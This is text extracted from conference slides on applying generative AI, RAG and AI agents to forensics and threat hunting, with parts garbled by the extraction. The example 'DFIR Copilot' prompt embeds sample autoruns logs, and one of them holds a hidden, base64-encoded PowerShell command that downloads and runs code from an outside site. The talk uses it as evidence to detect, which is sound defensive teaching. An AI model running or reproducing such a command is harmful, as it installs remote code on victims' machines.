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Senior Instructor at SANS Institute for +22 years

Founder and CEO of One eSecurity +25 years of 
experience in CybSec / DFIR

Global DFIR company for +17 years
www.one-esecurity.com

DS4N6 Project Leader
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Jess Garcia
jess.garcia@one-esecurity.com

@j3ssgarcia 

WhoAmI
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DS4N6: The Road so Far
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CHRYSALIS HAMDaisy VM

Our Mission: Bring Data Science 

& Artificial Intelligence to the 

fingerprints of the average 

Forensicator and promote 

advances in the field.

DS4N6 Project
aidfir.io / ds4n6.io

ds4n6.io/

events
ds4n6.io/tools
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In our last talk… 

Your Journey to the GenAI-DFIR Era Starts Today! 

ds4n6.io/blog/24042501.html 
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In our last talk… 

PROMPT ENG.

LLMs AI Agents

Copilot Tokens

Transformer

✓ Understand GenAI and LLMs

✓ PROMPT Eng. to get the most out of LLMs

✓ Augmenting LLM’s capabilities with RAG

✓ Automate tasks with AI Agents

✓ Understand GenAI strengths and limitations

SANS AI Cybersecurity
Forum 2024/

ds4n6.io/blog/24042501.html 
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Updates

• Larger context length (128k tokens)

• Multilingual capabilities

• Suited for Agentic-AI & tool usage

• 3 available versions (8B, 70B and 105B 

parameters)

• Available for free through the GUI

• Improves performance of ChatGPT-3.5

• Larger context length (128k tokens)

• The cheapest OpenAI’s multimodal LLM 

through the API
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GenAI for Threat Detection & 
Response
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GenAI for Threat Detection & Response

Leverage the Default LLM’s 

Forensic Knowledge

Augment the LLM’s Capabilities 

with Fine-Tuning / RAG

https://www.youtube.com/watch?v=RzvEsnyjLeU 

https://langchain.com  
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RAG (Retrieval Augmented Generation)

PREPARATION USAGE

Vector DB

TOKENIZATIONCHUNKING Retrieved 
Context

What’re the main tactics of 

Threat Actors in 2024?

PROMPT

CTI-Report-

2024.pdf

Similarity 
Search

Usthe end.

Context: “List of top related TTPs in 2024 by sector 
includes: T1059.001 as the most prevalent technique [...]”

Question: What’re the main tactics of Threat Actors in 
2024?

Answere the following pieces of context to answer the 
question at : 

Retrieve the 10 most 
relevant chunks

Encoding

11



www.one-esecurity.com | www.ds4n6.io
12

Pre-trained 

LLM

Most relevant 

entries

PROMPT Eng.

List all suspicious executions

Prefetchs.csv

Autorunsc.csv

Appcompatcache.csv

EventLogs.csv

Similarity 

Search

Embedded 

Forensic 

Knowledge
+

RAG & Forensic Knowledge (DFIR Copilot)
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RAG & Forensic Knowledge (DFIR Copilot)
BACKEND

KEYWORD SEARCH SIMILITARITY SEARCH
https://pypi.org/project/flashtext/1.4/ https://faiss.ai/index.html 

…
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RAG & Forensic Knowledge (DFIR Copilot)

Pre-trained 

LLM

Most relevant 

entries

PROMPT Eng.

List all suspicious executions

Prefetchs.csv

Autorunsc.csv

Appcompatcache.csv

EventLogs.csv

Similarity 

Search

Embedded 

Forensic 

Knowledge
+

{ 'role': 'user’,

 'content': 'Use the following pieces of context to answer the question at the end. 

The pieces of context are logs related to the search:"suspicious".

Context:
"[Document(page_content=\'autoruns\', metadata={\'time\': \'nan\', \'category\': \'Tasks\', \'user\': 

\'System-wide\', \'signed\': \'none\', \'path\': \'File not found: C:/Windows/Temp/1.bat\', \'launch 

string\': \'"C:/Windows/Temp/1.bat" \'}), Document(page_content=\'autoruns\', 

metadata={\'time\': \'nan\', \'category\': \'WMI\', \'user\': \'System-wide\', \'signed\': \'none\', 

\'path\': \'File not found: Hidden\', \'launch string\': \'powershell -W Hidden -nop -noni -ec 

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQ

B0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcg

BpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBzAHEAdQBpAHIAcgBlAGwAZABpAHIAZQBj

AHQAbwByAHkALgBjAG8AbQAvAGEAJwApAAoA\'}), Document(page_content=\'autoruns\', 

metadata={\'time\': \'3/4/1923 1:30 AM\', \'category\': \'Explorer\', \'user\': \'System-wide\', 

\'signed\': \'(Verified) Microsoft Windows\', \'path\': \'c:/windows/syswow64/srchadmin.dll\', 

\'launch string\': \'HKCR/CLSID/{DA67B8AD-E81B-4c70-9B91-B417B5E33527}\'}), 

Document(page_content=\'autoruns\', metadata={\'time\': \'3/26/1909 9:29 AM\', \'category\': 

\'Explorer\', \'user\': \'System-wide\', \'signed\': \'(Verified) Microsoft Windows\', \'path\': 

\'c:/windows/syswow64/hgcpl.dll\', \'launch string\': \'HKCR/CLSID/{ff363bfe-4941-4179-a81c-

f3f1ca72d820), Document(page_content=\'autoruns\', metadata={\'time\': \'2/17/1924 1:52 

AM\', \'category\': \'Services\', \'user\': \'System-wide\', \'signed\': \'(Verified) Microsoft 

Windows\', \'path\': \'c:/windows/syswow64/perfhost.exe\', \'launch string\': 

\'%SystemRoot%/SysWow64/perfhost.exe\’}) […]]"
 

Question: list all suspicious execution you find 

Answer: }

PROMPT
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GenAI-DFIR: Real World Use Cases
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ChatGPT Agents & Tools

RAG

Web Browsers

TOOLSAI AGENT

LLM

QUESTION

ANSWER

description: use this tool for 

searching information from 

internet.

description: use this tool to 

retrieve information from 

internal documents.

description: use this tool to 

execute python code.
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Use Case 1: Summarize Low Priority 
Alerts and Enrich them with CTI
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Use Case 1: Custom GPTs + RAG

2024ThreatDetection

Report.pdf
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Demo #1

https://www.youtube.com/@ds4n668/videos

Summarize Low Priority SOC 
Alerts and Enrich them with CTI

19
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Use Case 2: Data Analysis with ChatGPT
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Use Case 2: Data Analysis with ChatGPT

Max. dataset size

= 512 MB
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Demo #2

https://www.youtube.com/@ds4n668/videos

Data Analysis with ChatGPT
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Agentic AI for DFIR, CTI & TH

✓ Create TH Hypotheses

✓ Autonomous Artifact Collection

✓ Guide Forensic Investigations

✓ Create Dynamic Investigative Workflows

✓ Artifact Analysis & Anomaly Detection

✓ Documentation & Reporting
ds4n6.io/blog/24042501.html 

Build your own 

AI-Agent
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Thanks!!!

www.one-esecurity.com | ds4n6.io

ds4n6.io

@ds4n6_io

DS4N6

@One_eSecurity

one-esecurity.com

one-esecurity

Jess Garcia
@j3ssgarcia

ONE/DS4N6 Research Team:

Mario Perez
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